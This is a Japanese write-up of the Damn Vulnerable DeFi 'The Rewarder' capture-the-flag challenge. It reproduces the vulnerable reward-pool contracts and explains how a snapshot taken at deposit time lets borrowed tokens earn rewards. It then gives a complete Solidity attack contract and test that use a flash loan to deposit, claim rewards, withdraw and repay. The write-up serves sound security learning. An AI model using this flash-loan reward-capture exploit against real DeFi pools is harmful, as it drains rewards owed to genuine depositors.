ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、単体テストが通過することを保証する必要があります。
問題リンク:https://www.damnvulnerabledefi.xyz/challenges/5.html
問題の説明:
5 日ごとに DVT トークンをプールに預けた人にトークン報酬を提供するプールがあります。アリス、ボブ、チャーリー、デビッドはすでにいくつかの DVT トークンを預けており、報酬を獲得しました!
あなたは DVT トークンを持っていません。しかし、次のラウンドでは、最大の報酬を自分のために請求する必要があります。
この問題のディレクトリには、4 つのスマートコントラクトがあります。
AccountingToken.sol
FlashLoaderPool.sol
RewardToken.sol
TheRewarderPool.sol
AccountingToken.sol
// ERC20Snapshot と AccessControl を継承
contract AccountingToken is ERC20Snapshot, AccessControl {
// 3 つの役割を定義 minter, snapshot, burner
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
constructor() ERC20("rToken", "rTKN") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
_setupRole(SNAPSHOT_ROLE, msg.sender);
_setupRole(BURNER_ROLE, msg.sender);
}
function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
_mint(to, amount);
}
// トークンを焼却
function burn(address from, uint256 amount) external {
require(hasRole(BURNER_ROLE, msg.sender), "Forbidden");
_burn(from, amount);
}
// スナップショットを実行
function snapshot() external returns (uint256) {
require(hasRole(SNAPSHOT_ROLE, msg.sender), "Forbidden");
return _snapshot();
}
// このトークンの転送は必要ありません
function _transfer(address, address, uint256) internal pure override {
revert("Not implemented");
}
// このトークンの承認は必要ありません
function _approve(address, address, uint256) internal pure override {
revert("Not implemented");
}
}
AccountingToken
はトークンコントラクトで、トークン name
は rToken
、symbol
は rTKN
です。openzeppelin
から継承されています。
ERC20Snapshot.sol
:このコントラクトは、スナップショットを実行するたびに特定のアドレスの残高を記録するために使用されます。内部には以下の変数があります:_currentSnapshotId
:自動増分変数で、各スナップショットの ID を記録します。_accountBalanceSnapshots
:アドレスに対応する各スナップショットの残高を記録します。スナップショットの残高は構造体Snapshots
に保存されます。_totalSupplySnapshots
:各スナップショットで記録されたトークンの総量を記録します。
AccessControl.sol
:役割に関連するコントラクトを処理します。本質的には、各役割に属するアドレスを保存します。
このコントラクトのコンストラクタでは、sender に 4 つの役割が付与されます。
admin_role
minter_role
snapshot_role
burner_role
また、mint
、burn
、snapshot
メソッドを呼び出すには、sender
が対応する役割を持っている必要があります。
flashLoanerPool.sol
contract FlashLoanerPool is ReentrancyGuard {
using Address for address;
// DVT トークンのインスタンス
DamnValuableToken public immutable liquidityToken;
constructor(address liquidityTokenAddress) {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
}
// フラッシュローンメソッド
function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = liquidityToken.balanceOf(address(this));
require(amount <= balanceBefore, "Not enough token balance");
require(msg.sender.isContract(), "Borrower must be a deployed contract");
// DVT トークンを sender に送信
liquidityToken.transfer(msg.sender, amount);
// receiveFlashLoan メソッドをコールバック
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveFlashLoan(uint256)",
amount
)
);
require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
}
}
貸出プールコントラクトで、フラッシュローン機能を提供します。フラッシュローンメソッド内で receiveFlashLoan
メソッドがコールバックされます。
RewardToken.sol
contract RewardToken is ERC20, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor() ERC20("Reward Token", "RWT") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
}
function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, msg.sender));
_mint(to, amount);
}
}
token
コントラクトで、トークン symbol
は RWT
であり、minter_role
役割を持つ者のみが mint
を行うことができます。
TheRewarderPool.sol
contract TheRewarderPool {
// 各報酬ラウンドの最小期間(秒)
// どのくらいの頻度で報酬を行うか
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
// 報酬のために実行された最後のスナップショットの ID
uint256 public lastSnapshotIdForRewards;
// 最後のスナップショットのタイムスタンプ
uint256 public lastRecordedSnapshotTimestamp;
// アドレスの最後の報酬付与時間を記録
mapping(address => uint256) public lastRewardTimestamps;
// DVT トークンのインスタンス
DamnValuableToken public immutable liquidityToken;
// 内部会計とスナップショットに使用されるトークン
// 流動性トークンと 1:1 でペッグ
// rTKN トークンのインスタンス
AccountingToken public accToken;
// RWT トークンのインスタンス
RewardToken public immutable rewardToken;
// 報酬を付与するラウンドの数を記録
uint256 public roundNumber;
constructor(address tokenAddress) {
// すべてのトークンが 18 桁の小数を持つと仮定
liquidityToken = DamnValuableToken(tokenAddress);
accToken = new AccountingToken();
rewardToken = new RewardToken();
_recordSnapshot();
}
// DVT トークンを預ける
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");
// 同量の rTKN トークンを付与
accToken.mint(msg.sender, amountToDeposit);
// 報酬を分配
distributeRewards();
// 呼び出し元のアカウントの DVT トークンをこのコントラクトアドレスに預ける(承認が必要)
require(
liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
);
}
// DVT トークンを引き出す
function withdraw(uint256 amountToWithdraw) external {
// rTKN トークンを焼却
accToken.burn(msg.sender, amountToWithdraw);
// このコントラクトアカウントから呼び出し元アカウントに転送
require(liquidityToken.transfer(msg.sender, amountToWithdraw));
}
// 報酬を分配
function distributeRewards() public returns (uint256) {
uint256 rewards = 0;
// 時間に基づいて新しい報酬ラウンドの付与時間かどうかを判断
if(isNewRewardsRound()) {
_recordSnapshot();
}
// 最後のスナップショット時の rTKN トークンの総預入量
uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
// 最後のスナップショット時の呼び出し元 sender の預入量
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
// sender の預入量が 0 より大きく、かつ総預入量が 0 より大きい
if (amountDeposited > 0 && totalDeposits > 0) {
// 比率に基づいて報酬の数量を計算
rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
// 獲得可能な報酬が 0 より大きく、かつ報酬を受け取ったことがない
if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
// RWT トークンを報酬として付与
rewardToken.mint(msg.sender, rewards);
// 報酬を受け取った時間を記録
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}
return rewards;
}
// スナップショットを実行
function _recordSnapshot() private {
lastSnapshotIdForRewards = accToken.snapshot();
lastRecordedSnapshotTimestamp = block.timestamp;
roundNumber++;
}
// 報酬を受け取った時間に基づいて報酬を受け取ったかどうかを判断
function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}
// 新しい報酬ラウンドかどうかを判断:現在の時間 >= 最後の報酬時間 + 5 日
function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}
報酬プールコントラクトで、deposit
メソッドを呼び出して DVT トークン
を預けると、同量の rTKN トークン
が付与されます。その後、報酬の分配も保有する rTKN トークン
の数量に基づいて比例配分されます RWT トークン
。
コントラクトのソースコードを通じて、簡単なまとめができます:
3 つの token
があり、それぞれは
DVT トークン
rTKN トークン
RWT トークン
ユーザーが報酬プールコントラクトに DVT トークン
を預けるたびに、同量の rTKN トークン
が付与されます。そして、現在のブロック時間に基づいて新しい報酬分配の時間かどうかを判断します。もしそうであれば、スナップショットを実行し、現在の rTKN トークン
を持つすべてのアカウントとその残高を記録します。そして、スナップショットのデータに基づいて比例配分で RWT トークン
を分配します。
または、ユーザーが自発的に distributeRewards
を呼び出して報酬を受け取ることができます。
この時、問題に戻ってみると:あなたは DVT トークン
を持っていませんが、新しい報酬分配の際に最大の報酬を得る必要があります。つまり、スナップショット時に大量の rTKN トークン
を持っている必要がありますが、rTKN トークン
を持つためには DVT トークン
を預ける必要があります。しかし、問題はあなたが DVT トークン
を持っていないと明言しています。したがって、DVT トークン
を持つためには、貸出プールコントラクトから借りるしかありません。
これにより、攻撃の流れが明確になります:
- 新しい報酬分配の際に、フラッシュローンを使用して全ての
DVT トークン
を借りる - フラッシュローンのコールバックメソッド内で、報酬プールコントラクトの
deposit
メソッドを呼び出して借りたDVT トークン
を預け、同量のrTKN トークン
を取得します。この時、スナップショットが実行され、報酬が分配され、RWT トークン
を獲得します - 報酬プールコントラクトの
withdraw
を呼び出し、保有するrTKN トークン
を焼却し、預けたDVT トークン
を呼び出し元に返します - 借りた
DVT トークン
を貸出プールコントラクトに返します - 獲得した
RWT トークン
を攻撃者のアカウントに転送します
したがって、攻撃コントラクトを作成できます。
TheRewarderAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../the-rewarder/FlashLoanerPool.sol";
contract TheRewarderAttack {
// 報酬プールコントラクト
TheRewarderPool public rewarderPool;
// 貸出プールコントラクト
FlashLoanerPool public flashLoanerPool;
// DVT トークン
IERC20 public liquidityToken;
constructor (address _rewarderPool, address _flashLoanerPool, address _token) {
rewarderPool = TheRewarderPool(_rewarderPool);
flashLoanerPool = FlashLoanerPool(_flashLoanerPool);
liquidityToken = IERC20(_token);
}
// フラッシュローンのコールバックメソッド
function receiveFlashLoan(uint amount) public {
// rewarderPool が amount 数量の DVT トークンを使用できるように承認
liquidityToken.approve(address(rewarderPool), amount);
// DVT トークンを預ける
rewarderPool.deposit(amount);
// DVT トークンを引き出す
rewarderPool.withdraw(amount);
// 借りた DVT トークンを貸出プールコントラクトに返す
liquidityToken.transfer(address(flashLoanerPool), amount);
}
function attack (uint amount) external {
// フラッシュローンを実行
flashLoanerPool.flashLoan(amount);
// 獲得した RWT トークンを sender に転送
rewarderPool.rewardToken().transfer(msg.sender, rewarderPool.rewardToken().balanceOf(address(this)));
}
}
最後に、テストケース the-rewarder.challenge.js
に実行コードを記述します。
it('Exploit', async function () {
// 攻撃コントラクトをデプロイ
const TheRewarderAttackFactory = await ethers.getContractFactory('TheRewarderAttack', attacker)
const attackContract = await TheRewarderAttackFactory.deploy(this.rewarderPool.address, this.flashLoanPool.address, this.liquidityToken.address)
// 時間を 5 日後に増加
await ethers.provider.send('evm_increaseTime', [5 * 24 * 60 * 60])
// 攻撃メソッドを実行
await attackContract.attack(TOKENS_IN_LENDER_POOL)
})
yarn the-rewarder
を実行し、テストが通過しました!